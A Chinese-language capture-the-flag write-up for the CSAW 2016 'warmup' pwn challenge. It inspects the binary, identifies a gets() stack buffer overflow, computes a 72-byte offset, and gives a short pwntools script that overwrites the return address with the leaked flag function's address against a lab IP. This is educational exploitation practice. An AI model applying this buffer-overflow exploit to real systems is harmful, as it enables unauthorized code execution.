CSAW CTF 2016 PWN quals-warmup
原文链接
先对文件有个大致的了解,是64位ELF文件
☁ csaw ctf 2016 quals-warmup ls
exp.py flag.txt readme.txt warmup
☁ csaw ctf 2016 quals-warmup file warmup
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7b7d75c51503566eb1203781298d9f0355a66bd3, stripped
☁ csaw ctf 2016 quals-warmup chmod +x warmup
☁ csaw ctf 2016 quals-warmup ./warmup
-Warm Up-
WOW:0x40060d
>
这个程序没有开启任何的保护,而且文件是动态链接却没有给出libc
丢进IDA看一下:
看到了熟悉的gets()
函数,通常一看到这个函数就八成有缓冲区溢出漏洞,可以看出程序为v5
开辟了40H
的存储空间,所以输入长度超过40H
即可造成溢出,再看sprint()
函数
进入sub_40060D
中看一下:
可以看到这个函数是获取flag的关键点,程序会打印出此函数的位置,即0x40060d
,到这里思路就差不多明了了,我们需要控制溢出位置,把返回地址改为此函数的地址,我们当前函数的返回值位于RBP+8
的位置,因此溢出点可以通过计算得出:40H+8H=48H=72
,因此python脚本如下
#!/usr/bin/python
from pwn import *
r = remote('192.168.229.128', 10001)
r.recvuntil('WOW:')
address = r.recvuntil('\n')[:-1]
payload = 'A' * 72 + p64(int(address, 16))
r.writeline(payload)
r.interactive()
即可获取flag:FLAG{LET_US_BEGIN_CSAW_2016}